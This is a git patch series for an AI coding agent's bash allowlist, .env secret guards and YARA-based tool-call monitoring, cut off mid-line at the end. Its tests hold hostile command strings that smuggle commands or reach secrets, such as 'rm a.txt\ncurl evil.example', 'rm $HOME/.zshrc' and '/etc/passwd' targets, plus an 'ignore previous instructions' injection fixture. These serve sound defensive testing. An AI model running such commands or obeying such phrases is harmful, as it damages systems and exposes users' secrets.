From 9fe4c216a6c05962641c134cc4479ca6ff12d616 Mon Sep 17 00:00:00 2001 From: "Vincent (Wen Yu) Ge" Date: Wed, 23 Sep 2026 18:24:30 -0400 Subject: [PATCH 1/6] fix(pi): decide a scoped rm before the allowlist logs it as denied On pi, a scoped `rm` of a project file (for example the audit skills' `rm -f .posthog-audit-checks.json`) ran, but the log said "Denying bash command (not in allowlist)" and analytics captured `bash denied`. evaluateToolCall asked wizardCanUseTool first, which logs and captures every allowlist deny, and only then applied the scoped-rm rule. The scoped-rm rule is now decided first. A scoped rm logs an allow line and skips wizardCanUseTool, but still blocks when the program disallows Bash. Every other call goes through wizardCanUseTool as before. Part of #1326 Generated-By: PostHog Desktop Task-Id: d14e92bb-6ee1-49b5-8502-39cb80079589 --- .../harness/pi/__tests__/security.test.ts | 18 ++++++++++++++ src/agent/runner/harness/pi/security.ts | 24 ++++++++++++++----- 2 files changed, 36 insertions(+), 6 deletions(-) diff --git a/src/agent/runner/harness/pi/__tests__/security.test.ts b/src/agent/runner/harness/pi/__tests__/security.test.ts index f73405721..c588e5d1d 100644 --- a/src/agent/runner/harness/pi/__tests__/security.test.ts +++ b/src/agent/runner/harness/pi/__tests__/security.test.ts @@ -643,6 +643,24 @@ describe('pi-security: plain rm matches the anthropic arm', () => { ); }); + test('an allowed scoped rm is not captured as a denied bash command', async () => { + vi.mocked(analytics.wizardCapture).mockClear(); + expect(await rmBlocked('rm -f .posthog-audit-checks.json')).toBe(false); + expect(analytics.wizardCapture).not.toHaveBeenCalledWith( + 'bash denied', + expect.anything(), + ); + }); + + test('a scoped rm still obeys a program that disallows Bash', async () => { + const decision = await evaluateToolCall( + 'bash', + { command: 'rm plan.json' }, + { workingDirectory: ROOT, disallowedTools: ['Bash'] }, + ); + expect(decision.block).toBe(true); + }); + test('normalizes a relative workingDirectory', async () => { const relRoot = path.relative(process.cwd(), path.resolve('/project')); expect( diff --git a/src/agent/runner/harness/pi/security.ts b/src/agent/runner/harness/pi/security.ts index ffb399712..35b3a9bf7 100644 --- a/src/agent/runner/harness/pi/security.ts +++ b/src/agent/runner/harness/pi/security.ts @@ -369,19 +369,31 @@ export async function evaluateToolCall( ): Promise { try { const policy = toClaudePolicyCall(toolName, input); - const decision = wizardCanUseTool(policy.name, policy.input, { - disallowedTools: ctx.disallowedTools, - wizardAskPending: ctx.getWizardAskPending?.() ?? false, - }); // The allowlist is a pi-only restriction; the anthropic arm runs bash // unrestricted and leans on the shared YARA scan. Let a plain `rm` of // project files through to that same scan so pi matches that behavior. + // Decided before `wizardCanUseTool`, which logs and captures every + // allowlist deny, so an rm that runs is never recorded as denied. const allowedLikeAnthropic = toolName === 'bash' && isScopedFileRemoval(str(input.command), ctx.workingDirectory); - if (decision.behavior === 'deny' && !allowedLikeAnthropic) { - return { block: true, reason: decision.message }; + if (allowedLikeAnthropic) { + if (ctx.disallowedTools?.includes(policy.name)) { + return { + block: true, + reason: `Tool ${policy.name} is disabled for this program.`, + }; + } + logToFile(`Allowing scoped file removal: ${str(input.command)}`); + } else { + const decision = wizardCanUseTool(policy.name, policy.input, { + disallowedTools: ctx.disallowedTools, + wizardAskPending: ctx.getWizardAskPending?.() ?? false, + }); + if (decision.behavior === 'deny') { + return { block: true, reason: decision.message }; + } } const yaraReason = await preExecutionYaraBlock( From de47d125a9c69f12a3df928302826291b1b2aa22 Mon Sep 17 00:00:00 2001 From: "Vincent (Wen Yu) Ge" Date: Thu, 24 Sep 2026 10:53:38 -0400 Subject: [PATCH 2/6] style(pi): keep the scoped-rm ordering comment to one line AGENTS.md keeps new code comments to one line. Part of #1326 Generated-By: PostHog Desktop Task-Id: d14e92bb-6ee1-49b5-8502-39cb80079589 --- src/agent/runner/harness/pi/security.ts | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/agent/runner/harness/pi/security.ts b/src/agent/runner/harness/pi/security.ts index 35b3a9bf7..9f89699b1 100644 --- a/src/agent/runner/harness/pi/security.ts +++ b/src/agent/runner/harness/pi/security.ts @@ -372,8 +372,7 @@ export async function evaluateToolCall( // The allowlist is a pi-only restriction; the anthropic arm runs bash // unrestricted and leans on the shared YARA scan. Let a plain `rm` of // project files through to that same scan so pi matches that behavior. - // Decided before `wizardCanUseTool`, which logs and captures every - // allowlist deny, so an rm that runs is never recorded as denied. + // Decided first: `wizardCanUseTool` logs and captures every allowlist deny. const allowedLikeAnthropic = toolName === 'bash' && isScopedFileRemoval(str(input.command), ctx.workingDirectory); From d861983dd459d8f064cccfe3eee5e25a37db3ac5 Mon Sep 17 00:00:00 2001 From: "Vincent (Wen Yu) Ge" Date: Thu, 24 Sep 2026 13:30:22 -0400 Subject: [PATCH 3/6] fix(agent): decide scoped rm in the shared bash fence The scoped-rm rule lived in pi's gate as an exception beside the shared bash fence. wizardCanUseTool denied the command, logged it and captured `bash denied`, and then pi ran it anyway. The exception also skipped every other check in wizardCanUseTool, never reached orchestrator task runs, and let subagents delete files. The rule now lives in evaluateBashCommand, which takes a project root, and wizardCanUseTool passes workingDirectory through. evaluateToolCall makes one policy call, so an allowed rm logs an allow line and captures nothing. - Containment compares real paths, refuses `..`, and refuses quotes, escapes, globs, redirects, and any whitespace but a space. - createSecurityExtension requires workingDirectory, so task runs get the rule. Subagents get subagentFactory, the same fence and state with no rm, branded so the parent's gate doesn't type-check there. - The .env guard ignores case, checks pi paths after pi strips `@` and decodes file://, and denies a Grep glob that can select a .env file. minimatch matches those globs with dotfile semantics like ripgrep. - A denied rm states the rule, or says rm isn't available without a root. Part of #1326 Generated-By: PostHog Desktop Task-Id: d14e92bb-6ee1-49b5-8502-39cb80079589 --- .../references/ARCHITECTURE.md | 4 + package.json | 1 + pnpm-lock.yaml | 3 + src/agent/__tests__/bash-fence-rm.test.ts | 69 +++++++++ .../__tests__/wizard-can-use-tool.test.ts | 108 +++++++++++++ src/agent/agent-interface.ts | 32 +++- src/agent/bash-fence.ts | 101 ++++++++++++- src/agent/runner/harness/pi/README.md | 3 +- .../harness/pi/__tests__/security.test.ts | 89 +++++++++-- src/agent/runner/harness/pi/index.ts | 8 +- src/agent/runner/harness/pi/security.ts | 143 ++++++++---------- src/agent/runner/harness/pi/subagent.ts | 15 +- src/agent/runner/harness/pi/task.ts | 1 + src/shared/utils/env-scan.ts | 14 ++ 14 files changed, 466 insertions(+), 125 deletions(-) create mode 100644 src/agent/__tests__/bash-fence-rm.test.ts diff --git a/.claude/skills/wizard-development/references/ARCHITECTURE.md b/.claude/skills/wizard-development/references/ARCHITECTURE.md index c29badcf2..6b89d796f 100644 --- a/.claude/skills/wizard-development/references/ARCHITECTURE.md +++ b/.claude/skills/wizard-development/references/ARCHITECTURE.md @@ -101,6 +101,10 @@ mechanism. - [agent-interface.ts](../../../../src/agent/agent-interface.ts) configures the Anthropic SDK's tool permissions, sandbox, and gateway transport. +- [bash-fence.ts](../../../../src/agent/bash-fence.ts) is the shared bash + allowlist behind `wizardCanUseTool`, including the one `rm` rule: named files + inside the project root. In effect it gates Pi, since the Anthropic SDK + pre-allows Bash under its OS sandbox. - [yara-hooks.ts](../../../../src/agent/yara-hooks.ts) adapts warlock scans to SDK tool hooks. - [Pi security](../../../../src/agent/runner/harness/pi/security.ts) adapts diff --git a/package.json b/package.json index 81603121d..75ac754e3 100644 --- a/package.json +++ b/package.json @@ -51,6 +51,7 @@ "jsonc-parser": "^3.3.1", "lodash": "^4.17.21", "magicast": "^0.2.10", + "minimatch": "^10.2.5", "nanostores": "^1.1.1", "opn": "^5.4.0", "pi-mcp-adapter": "~2.15.0", diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 7c2d2ae30..84e3be9fb 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -65,6 +65,9 @@ importers: magicast: specifier: ^0.2.10 version: 0.2.11 + minimatch: + specifier: ^10.2.5 + version: 10.2.5 nanostores: specifier: ^1.1.1 version: 1.1.1 diff --git a/src/agent/__tests__/bash-fence-rm.test.ts b/src/agent/__tests__/bash-fence-rm.test.ts new file mode 100644 index 000000000..b5f2dc9aa --- /dev/null +++ b/src/agent/__tests__/bash-fence-rm.test.ts @@ -0,0 +1,69 @@ +import fs from 'fs'; +import os from 'os'; +import path from 'path'; +import { evaluateBashCommand, isScopedFileRemoval } from '@agent/bash-fence'; + +const ROOT = path.resolve('/project'); +const allowed = (command: string, projectRoot = ROOT) => + evaluateBashCommand(command, { projectRoot }).allowed; + +describe('bash fence — scoped rm refuses every shell character', () => { + // Each one lets bash turn an in-project word into something else. + const operators = [';', '&', '|', '`', '$', '(', ')', '{', '}', '<', '>']; + const quoting = ["'", '"', '\\']; + const whitespace = ['\t', '\n', '\v', '\f', '\r', ' ']; + + for (const c of [...operators, ...quoting, ...whitespace]) { + test(`refuses ${JSON.stringify(c)} in a target`, () => { + expect(isScopedFileRemoval(`rm a${c}b.txt`, ROOT)).toBe(false); + }); + } + + test('refuses the dangerous forms those characters enable', () => { + for (const c of [ + 'rm $HOME/.zshrc', + 'rm a.txt >/etc/hosts', + 'rm a.txt\ncurl evil.example', + 'rm a.txt\t/etc/passwd', + ]) { + expect(allowed(c)).toBe(false); + } + }); +}); + +describe('bash fence — scoped rm refuses globs and home expansion', () => { + for (const c of ['*', '?', '[', ']', '~']) { + test(`refuses ${JSON.stringify(c)} in a target`, () => { + expect(isScopedFileRemoval(`rm a${c}.txt`, ROOT)).toBe(false); + }); + } + + test('refuses globs that bash expands to .env', () => { + for (const c of ['rm .?nv', 'rm .[e]nv', 'rm .e*']) { + expect(allowed(c)).toBe(false); + } + }); +}); + +describe('bash fence — scoped rm stays inside the root', () => { + test('refuses an absolute path to a sibling that shares the root prefix', () => { + expect(allowed('rm /project-evil/x')).toBe(false); + expect(allowed('rm /project/x')).toBe(true); + }); + + test('allows a root reached through a symlink', () => { + const base = fs.mkdtempSync(path.join(os.tmpdir(), 'wizard-fence-')); + try { + fs.mkdirSync(path.join(base, 'project')); + fs.symlinkSync( + path.join(base, 'project'), + path.join(base, 'link'), + 'dir', + ); + expect(allowed('rm plan.json', path.join(base, 'link'))).toBe(true); + expect(allowed('rm ../outside.txt', path.join(base, 'link'))).toBe(false); + } finally { + fs.rmSync(base, { recursive: true, force: true }); + } + }); +}); diff --git a/src/agent/__tests__/wizard-can-use-tool.test.ts b/src/agent/__tests__/wizard-can-use-tool.test.ts index 3d42f954f..5702ea746 100644 --- a/src/agent/__tests__/wizard-can-use-tool.test.ts +++ b/src/agent/__tests__/wizard-can-use-tool.test.ts @@ -1,4 +1,8 @@ +import fs from 'fs'; +import os from 'os'; +import path from 'path'; import { wizardCanUseTool } from '@agent/agent-interface'; +import { analytics } from '@utils/analytics'; vi.mock('@utils/analytics', () => ({ analytics: { @@ -7,6 +11,110 @@ vi.mock('@utils/analytics', () => ({ })); vi.mock('@utils/debug'); +describe('wizardCanUseTool — scoped rm inside the project', () => { + const capture = vi.mocked(analytics.wizardCapture); + let base: string; + let root: string; + + beforeAll(() => { + // Under os.tmpdir() on purpose: on macOS it is itself a symlink. + base = fs.mkdtempSync(path.join(os.tmpdir(), 'wizard-rm-')); + root = path.join(base, 'project'); + fs.mkdirSync(root); + fs.mkdirSync(path.join(base, 'outside')); + fs.symlinkSync(path.join(base, 'outside'), path.join(root, 'docs'), 'dir'); + }); + afterAll(() => fs.rmSync(base, { recursive: true, force: true })); + beforeEach(() => capture.mockClear()); + + const decide = (command: string) => + wizardCanUseTool('Bash', { command }, { workingDirectory: root }).behavior; + + it('allows a plain rm of a project file and records no denial', () => { + expect(decide('rm -f .posthog-audit-checks.json')).toBe('allow'); + expect(capture).not.toHaveBeenCalled(); + }); + + it('denies rm, and records it, when no project root is known', () => { + const result = wizardCanUseTool('Bash', { command: 'rm plan.json' }); + expect(result.behavior === 'deny' && result.message).toMatch( + /rm is not available/, + ); + expect(capture).toHaveBeenCalledWith('bash denied', { + reason: 'not in allowlist', + command: 'rm plan.json', + }); + }); + + it('denies rm through a symlinked directory that leaves the project', () => { + expect(decide('rm docs/secret.txt')).toBe('deny'); + // bash follows `docs` before `..`, so this lands beside the project. + expect(decide('rm docs/../project-sibling.txt')).toBe('deny'); + // bash splits words on space, tab, and newline only, so this is one target. + expect(decide('rm -f docs/\vsecret.txt')).toBe('deny'); + // ...and this is two, the second one outside the project. + expect(decide('rm a.txt\t/etc/passwd')).toBe('deny'); + }); + + it('allows removing a symlink that sits in the project, which deletes only the link', () => { + expect(decide('rm docs')).toBe('allow'); + }); + + it('tells the agent the rm rule when an rm is denied', () => { + const result = wizardCanUseTool( + 'Bash', + { command: 'rm -rf node_modules' }, + { workingDirectory: root }, + ); + expect(result.behavior === 'deny' && result.message).toMatch( + /rm \[-f\] /, + ); + }); + + it('denies .env targets in any case or escaped form', () => { + for (const c of [ + 'rm .env', + 'rm .ENV', + 'rm config/.Env.local', + 'rm \\.env', + ]) { + expect(decide(c)).toBe('deny'); + } + }); +}); + +describe('wizardCanUseTool — .env guard ignores case', () => { + it('denies Read, Write, and Edit of .env in any case', () => { + for (const tool of ['Read', 'Write', 'Edit']) { + for (const file_path of ['.ENV', 'app/.Env.local']) { + expect(wizardCanUseTool(tool, { file_path }).behavior).toBe('deny'); + } + } + }); + + it('still allows an env template in any case', () => { + expect( + wizardCanUseTool('Write', { file_path: '.ENV.EXAMPLE' }).behavior, + ).toBe('allow'); + }); + + it('denies Grep aimed at .env in any case', () => { + expect(wizardCanUseTool('Grep', { path: '.ENV' }).behavior).toBe('deny'); + }); + + it('denies a Grep glob that can pull .env files into the search', () => { + // ripgrep lets a --glob override .gitignore, so these reach a real .env. + for (const glob of ['.env*', '**/.ENV', '*', '**/*', '{.env,x}', '?env']) { + expect(wizardCanUseTool('Grep', { path: '.', glob }).behavior).toBe( + 'deny', + ); + } + expect( + wizardCanUseTool('Grep', { path: '.', glob: '**/*.ts' }).behavior, + ).toBe('allow'); + }); +}); + describe('wizardCanUseTool — wizard_ask pending guard', () => { for (const tool of ['Write', 'Edit'] as const) { it(`denies ${tool} while a wizard_ask overlay is pending`, () => { diff --git a/src/agent/agent-interface.ts b/src/agent/agent-interface.ts index 5e6641fc0..ed50bc2de 100644 --- a/src/agent/agent-interface.ts +++ b/src/agent/agent-interface.ts @@ -14,7 +14,11 @@ import type { import { debug, logToFile, initLogFile, getLogFilePath } from '@utils/debug'; import type { WizardRunOptions } from '@utils/types'; import { analytics } from '@utils/analytics'; -import { isTemplateEnvFileName } from '@utils/env-scan'; +import { + globCanSelectEnvFile, + isEnvFileNameAnyCase, + isTemplateEnvFileName, +} from '@utils/env-scan'; import { runtimeEnv } from '@env'; import type { AioCapture } from '@agent/aio-capture'; import { @@ -442,6 +446,8 @@ export function wizardCanUseTool( context: { wizardAskPending?: boolean; disallowedTools?: readonly string[]; + /** Project root; the bash fence allows a plain `rm` of files inside it. */ + workingDirectory?: string; } = {}, ): | { behavior: 'allow'; updatedInput: Record } @@ -477,7 +483,10 @@ export function wizardCanUseTool( if (toolName === 'Read' || toolName === 'Write' || toolName === 'Edit') { const filePath = typeof input.file_path === 'string' ? input.file_path : ''; const basename = path.basename(filePath); - if (basename.startsWith('.env') && !isTemplateEnvFileName(basename)) { + if ( + isEnvFileNameAnyCase(basename) && + !isTemplateEnvFileName(basename.toLowerCase()) + ) { logToFile(`Denying ${toolName} on env file: ${filePath}`); return { behavior: 'deny', @@ -487,12 +496,19 @@ export function wizardCanUseTool( return { behavior: 'allow', updatedInput: input }; } - // Block Grep when it directly targets a .env file. - // Note: ripgrep skips dotfiles (like .env*) by default during directory traversal, - // so broad searches like `Grep { path: "." }` are already safe. + // Block Grep when it targets a .env file, by path or by a glob that selects + // one; ripgrep lets a glob override .gitignore. if (toolName === 'Grep') { const grepPath = typeof input.path === 'string' ? input.path : ''; - if (grepPath && path.basename(grepPath).startsWith('.env')) { + const glob = typeof input.glob === 'string' ? input.glob : ''; + if (glob && globCanSelectEnvFile(glob)) { + logToFile(`Denying Grep glob that selects env files: ${glob}`); + return { + behavior: 'deny', + message: `Grep with glob ${glob} can search .env files and is not allowed. Narrow the glob, or use the wizard-tools MCP server (check_env_keys) to check environment variables.`, + }; + } + if (grepPath && isEnvFileNameAnyCase(path.basename(grepPath))) { logToFile(`Denying Grep on env file: ${grepPath}`); return { behavior: 'deny', @@ -513,7 +529,9 @@ export function wizardCanUseTool( typeof input.command === 'string' ? input.command : '' ).trim(); - const decision = evaluateBashCommand(command); + const decision = evaluateBashCommand(command, { + projectRoot: context.workingDirectory, + }); if (decision.allowed) { logToFile(`Allowing bash command: ${command}`); debug(`Allowing bash command: ${command}`); diff --git a/src/agent/bash-fence.ts b/src/agent/bash-fence.ts index caf31e77a..6941f05a9 100644 --- a/src/agent/bash-fence.ts +++ b/src/agent/bash-fence.ts @@ -12,13 +12,23 @@ * registry actions (publish/push/deploy), arbitrary-package execution * (`npx ` downloads and runs it), and shell injection. Matching is * token-exact per manager — keyword prefixes admitted `npm publish` via `pub`. + * `rm` is allowed only as a plain delete of files inside the project root, the + * same tree the anthropic sandbox lets bash write to. */ +import fs from 'fs'; +import path from 'path'; import { LINTING_TOOLS } from '@agent/safe-tools'; +import { isEnvFileNameAnyCase } from '@utils/env-scan'; export type BashFenceDecision = | { allowed: true } | { allowed: false; message: string; analyticsReason: string }; +export type BashFenceOptions = { + /** Project root. A plain `rm` of files inside it is allowed; absent, every `rm` is denied. */ + projectRoot?: string; +}; + const NODE_MANAGERS = new Set(['npm', 'pnpm', 'yarn', 'bun']); const GRADLE_MANAGERS = new Set(['gradle', 'gradlew', './gradlew']); const MAVEN_MANAGERS = new Set(['mvn', 'mvnw', './mvnw']); @@ -143,6 +153,11 @@ const XCODEBUILD_DENIED_ACTIONS = new Set(['test', 'test-without-building']); const DANGEROUS_OPERATORS = /[;`$()]/; +// Stricter than DANGEROUS_OPERATORS: a plain `rm` also refuses quotes, +// escapes, braces, redirects, and any whitespace but a space, so the targets +// checked here are exactly the words bash passes to rm. +const RM_SHELL_OPERATORS = /[;&|`$(){}<>'"\\]|[^\S ]/; + const ALLOWED_TOOLS_SUMMARY = 'Allowed: npm/pnpm/yarn/bun (install|i|ci|add|remove|uninstall|update|view, run ), ' + 'npx , pip/pip3/poetry/pipenv/uv/pdm/conda (install/add/remove/...), ' + @@ -308,7 +323,10 @@ function xcodebuildDecision( } /** Grammar decision for a single operator-free, pipe-free command. */ -function commandDecision(command: string): BashFenceDecision { +function commandDecision( + command: string, + options: BashFenceOptions, +): BashFenceDecision { const parts = command.split(/\s+/).filter(Boolean); const raw = parts[0]; if (!raw) return denyCommand(command, ALLOWED_TOOLS_SUMMARY); @@ -324,6 +342,14 @@ function commandDecision(command: string): BashFenceDecision { if (GRADLE_MANAGERS.has(bin)) return gradleDecision(parts, command); if (MAVEN_MANAGERS.has(bin)) return mavenDecision(parts, command); if (bin === 'xcodebuild') return xcodebuildDecision(parts, command); + if (bin === 'rm') { + return denyCommand( + command, + options.projectRoot + ? 'rm may only delete named files inside the project, as a plain rm [-f] with nothing else on the line: no recursion, globs, quotes, `..`, redirects, pipes, or .env files.' + : 'rm is not available in this session.', + ); + } if (bin === 'python' || bin === 'python3') { // Django's system check. if (parts[1] === 'manage.py' && parts[2] === 'check') { @@ -443,6 +469,61 @@ function commandDecision(command: string): BashFenceDecision { ); } +/** True when a target resolves to a file strictly inside the project root. */ +function isDeletableProjectFile( + target: string, + root: string, + p: typeof path, +): boolean { + if (target.startsWith('-')) return false; // a flag, not a file + if (/[*?[\]~]/.test(target)) return false; // glob / home expansion + if (target.split('/').includes('..')) return false; // bash follows a symlink before `..` + if (isEnvFileNameAnyCase(p.basename(target))) return false; // secrets + + // Compare real paths, so a symlinked directory on the way can't lead out. + const resolved = p.resolve(root, target); + const real = p.join(realPathOf(p.dirname(resolved), p), p.basename(resolved)); + return real.startsWith(realPathOf(root, p) + p.sep); +} + +/** `target` with its deepest existing ancestor's symlinks resolved; a missing tail stays as written. */ +function realPathOf(target: string, p: typeof path): string { + const missing: string[] = []; + for (let dir = target; ; dir = p.dirname(dir)) { + try { + return p.join(fs.realpathSync.native(dir), ...missing); + } catch { + if (p.dirname(dir) === dir) return target; + missing.unshift(p.basename(dir)); + } + } +} + +/** + * A plain `rm [-f] ` whose every target is a file inside the project + * root. Path checks run through the host's `path` (win32 on Windows, posix + * elsewhere); pi always executes commands via a POSIX bash, so targets use + * forward slashes. + */ +export function isScopedFileRemoval( + command: string, + rawRoot: string | undefined, + p: typeof path = path, +): boolean { + if (!rawRoot) return false; // no root to contain against + const root = p.resolve(rawRoot); + const trimmed = command.trim(); + if (RM_SHELL_OPERATORS.test(trimmed)) return false; + + const [executable, ...args] = trimmed.split(/ +/); + if (executable !== 'rm') return false; + + if (args[0] === '-f') args.shift(); + if (args.length === 0) return false; + + return args.every((arg) => isDeletableProjectFile(arg, root, p)); +} + function tailArgsAreSafe(argStr: string): boolean { const args = argStr.trim().split(/\s+/).filter(Boolean); for (let i = 0; i < args.length; i++) { @@ -458,11 +539,19 @@ function tailArgsAreSafe(argStr: string): boolean { } /** - * Full fence decision for a Bash command: shell-shape gates (separators, - * redirects, pipes) first, then the per-manager grammar. + * Full fence decision for a Bash command: a plain project-scoped `rm` first, + * then shell-shape gates (separators, redirects, pipes), then the per-manager + * grammar. */ -export function evaluateBashCommand(rawCommand: string): BashFenceDecision { +export function evaluateBashCommand( + rawCommand: string, + options: BashFenceOptions = {}, +): BashFenceDecision { const command = rawCommand.trim(); + // Before the redirect cleanup below, which would strip `>/dev/null` off an rm. + if (isScopedFileRemoval(command, options.projectRoot)) { + return { allowed: true }; + } // Newlines separate commands in bash; token splitting would flatten // `npm install x\ncurl evil` into one "allowed" command. if (/[\r\n]/.test(command)) { @@ -506,7 +595,7 @@ export function evaluateBashCommand(rawCommand: string): BashFenceDecision { 'Bash command not allowed. tail/head may only take numeric flags (-n 50, -c 200) — no file arguments.', ); } - return commandDecision(base); + return commandDecision(base, options); } if (/[|&]/.test(normalized)) { return deny( @@ -514,5 +603,5 @@ export function evaluateBashCommand(rawCommand: string): BashFenceDecision { 'Bash command not allowed. Pipes are only permitted as a single | tail/head for output limiting.', ); } - return commandDecision(normalized); + return commandDecision(normalized, options); } diff --git a/src/agent/runner/harness/pi/README.md b/src/agent/runner/harness/pi/README.md index c3a6f32fa..52ed3392c 100644 --- a/src/agent/runner/harness/pi/README.md +++ b/src/agent/runner/harness/pi/README.md @@ -33,7 +33,8 @@ The linear path supplies file/exploration tools, shell, Wizard capabilities, todos and bounded subagents. The orchestrator task path supplies its task and handoff capabilities; it is not an identical tool roster. Inspect the entrypoint and [tools](tools.ts) when extending either. [subagent.ts](subagent.ts) applies -the parent's security factory to bounded read-only exploration agents. +the parent's subagent security gate, which shares its state and never allows +`rm`, to bounded exploration agents. [commandments.ts](../../switchboard/commandments.ts) assembles runtime/tool guidance alongside flow/task context. The linear path also supplies MCP server diff --git a/src/agent/runner/harness/pi/__tests__/security.test.ts b/src/agent/runner/harness/pi/__tests__/security.test.ts index c588e5d1d..c0492ab63 100644 --- a/src/agent/runner/harness/pi/__tests__/security.test.ts +++ b/src/agent/runner/harness/pi/__tests__/security.test.ts @@ -5,12 +5,12 @@ import { scan, triageMatches, type ScanMatch } from '@posthog/warlock'; import { evaluateToolCall, createSecurityExtension, - isScopedFileRemoval, observeTransportLeak, overwriteShrinkReason, MAX_TOOL_CALLS, type PiExtensionApiLike, } from '../security'; +import { isScopedFileRemoval } from '@agent/bash-fence'; import { analytics } from '@utils/analytics'; vi.mock('@utils/analytics', () => ({ @@ -47,6 +47,8 @@ const injectionMatch: ScanMatch = { matchedStrings: ['ignore previous instructions'], }; +const PROJECT = path.resolve('/project'); + const block = async (toolName: string, input: Record) => (await evaluateToolCall(toolName, input)).block; @@ -87,6 +89,21 @@ describe('pi-security: blocked-action corpus (parity with the anthropic fence)', expect(await block('grep', { path: '.env' })).toBe(true); }); + test('checks the path pi opens, after it strips `@` and decodes file://', async () => { + expect(await block('read', { path: '@.env' })).toBe(true); + expect(await block('write', { path: '@.env', content: 'X=1' })).toBe(true); + expect(await block('edit', { path: '@config/.env.local', edits: [] })).toBe( + true, + ); + expect(await block('read', { path: 'file:///project/%2Eenv' })).toBe(true); + expect(await block('grep', { path: '@.env' })).toBe(true); + }); + + test('blocks a grep glob that can pull .env files into the search', async () => { + expect(await block('grep', { path: '.', glob: '.env*' })).toBe(true); + expect(await block('grep', { path: '.', glob: '**/*.ts' })).toBe(false); + }); + test('allows .env example/template files — they document keys, hold no secrets', async () => { expect( await block('write', { path: '.env.example', content: 'KEY=' }), @@ -275,7 +292,9 @@ describe('pi-security: extension state machine (fail-closed + runaway + latch)', } test('blocks a denied call and counts it', async () => { - const { factory, state } = createSecurityExtension(); + const { factory, state } = createSecurityExtension({ + workingDirectory: PROJECT, + }); const { pi, handlers } = fakePi(); factory(pi); expect( @@ -296,9 +315,29 @@ describe('pi-security: extension state machine (fail-closed + runaway + latch)', ).toEqual({}); }); + test('the subagent gate refuses rm and shares the parent state', async () => { + const { factory, subagentFactory, state } = createSecurityExtension({ + workingDirectory: PROJECT, + }); + const parent = fakePi(); + const child = fakePi(); + factory(parent.pi); + subagentFactory(child.pi); + const rm = { toolName: 'bash', input: { command: 'rm plan.json' } }; + expect(await parent.handlers.tool_call(rm)).toEqual({}); + expect(await child.handlers.tool_call(rm)).toEqual({ + block: true, + reason: expect.any(String), + }); + expect(state.toolCalls).toBe(2); + expect(state.blockedCount).toBe(1); + }); + test('a scanner error on publish_handoff latches and ends the run', async () => { // Blocking alone would leave the agent rewording a report forever. - const { factory, state } = createSecurityExtension(); + const { factory, state } = createSecurityExtension({ + workingDirectory: PROJECT, + }); const { pi, handlers } = fakePi(); factory(pi); mockedScan.mockRejectedValueOnce(new Error('wasm boom')); @@ -312,7 +351,9 @@ describe('pi-security: extension state machine (fail-closed + runaway + latch)', }); test('a scanner error on a write blocks without ending the run', async () => { - const { factory, state } = createSecurityExtension(); + const { factory, state } = createSecurityExtension({ + workingDirectory: PROJECT, + }); const { pi, handlers } = fakePi(); factory(pi); mockedScan.mockRejectedValueOnce(new Error('wasm boom')); @@ -326,7 +367,9 @@ describe('pi-security: extension state machine (fail-closed + runaway + latch)', }); test('a post-scan violation latches and terminates all further calls', async () => { - const { factory, state } = createSecurityExtension(); + const { factory, state } = createSecurityExtension({ + workingDirectory: PROJECT, + }); const { pi, handlers } = fakePi(); factory(pi); // A read whose OUTPUT contains a prompt-injection override → post-scan latch. @@ -357,7 +400,9 @@ describe('pi-security: extension state machine (fail-closed + runaway + latch)', }); test('a non-critical, non-block post-scan match warns without terminating', async () => { - const { factory, state } = createSecurityExtension(); + const { factory, state } = createSecurityExtension({ + workingDirectory: PROJECT, + }); const { pi, handlers } = fakePi(); factory(pi); // piiMatch is severity: 'high', action: 'remediate' — below the terminate @@ -378,6 +423,7 @@ describe('pi-security: extension state machine (fail-closed + runaway + latch)', test('with a triage provider, a false_positive verdict unblocks the write', async () => { const { factory, state } = createSecurityExtension({ + workingDirectory: PROJECT, triageProvider: () => Promise.resolve('false_positive'), }); const { pi, handlers } = fakePi(); @@ -399,7 +445,9 @@ describe('pi-security: extension state machine (fail-closed + runaway + latch)', }); test('a scanner error on tool output latches (fail closed)', async () => { - const { factory, state } = createSecurityExtension(); + const { factory, state } = createSecurityExtension({ + workingDirectory: PROJECT, + }); const { pi, handlers } = fakePi(); factory(pi); mockedScan.mockRejectedValueOnce(new Error('wasm exploded')); @@ -411,7 +459,9 @@ describe('pi-security: extension state machine (fail-closed + runaway + latch)', }); test('runaway guard blocks past the cap', async () => { - const { factory, state } = createSecurityExtension(); + const { factory, state } = createSecurityExtension({ + workingDirectory: PROJECT, + }); const { pi, handlers } = fakePi(); factory(pi); for (let i = 0; i < MAX_TOOL_CALLS; i++) { @@ -500,7 +550,7 @@ describe('pi-security: repeat-block escalation (identical retries after a YARA b }; test('an identical YARA-blocked write escalates, then says report-and-move-on', async () => { - const { factory } = createSecurityExtension(); + const { factory } = createSecurityExtension({ workingDirectory: PROJECT }); const { pi, handlers } = fakePi(); factory(pi); @@ -525,7 +575,7 @@ describe('pi-security: repeat-block escalation (identical retries after a YARA b }); test('different blocked content is a fresh first attempt, not a repeat', async () => { - const { factory } = createSecurityExtension(); + const { factory } = createSecurityExtension({ workingDirectory: PROJECT }); const { pi, handlers } = fakePi(); factory(pi); @@ -545,7 +595,7 @@ describe('pi-security: repeat-block escalation (identical retries after a YARA b }); test('policy denies (non-YARA) never gain repeat-escalation text', async () => { - const { factory } = createSecurityExtension(); + const { factory } = createSecurityExtension({ workingDirectory: PROJECT }); const { pi, handlers } = fakePi(); factory(pi); @@ -558,11 +608,10 @@ describe('pi-security: repeat-block escalation (identical retries after a YARA b }); }); -// pi lets a plain `rm` of files INSIDE the project root through the allowlist -// (matching the anthropic arm, where bash is unrestricted and YARA is the real -// guard). Two invariants: it can delete project files, and it can never touch -// anything outside the root or smuggle a second command via a shell operator. -describe('pi-security: plain rm matches the anthropic arm', () => { +// The shared fence lets a plain `rm` of files INSIDE the project root through. +// Two invariants at the pi gate: it can delete project files, and it can never +// touch anything outside the root or smuggle a second command. +describe('pi-security: plain rm of project files', () => { const ROOT = path.resolve('/project'); const rmBlocked = async (command: string) => (await evaluateToolCall('bash', { command }, { workingDirectory: ROOT })) @@ -766,6 +815,14 @@ describe('pi-security: overwrite shrink guard (destructive whole-file rewrite)', expect(gut.block).toBe(true); expect(gut.reason).toContain('targeted edits'); + // pi strips a leading `@`, so this overwrites existing.ts too. + const atGut = await evaluateToolCall( + 'write', + { path: '@existing.ts', content: 'const value = compute();' }, + { workingDirectory: dir }, + ); + expect(atGut.block).toBe(true); + const fresh = await 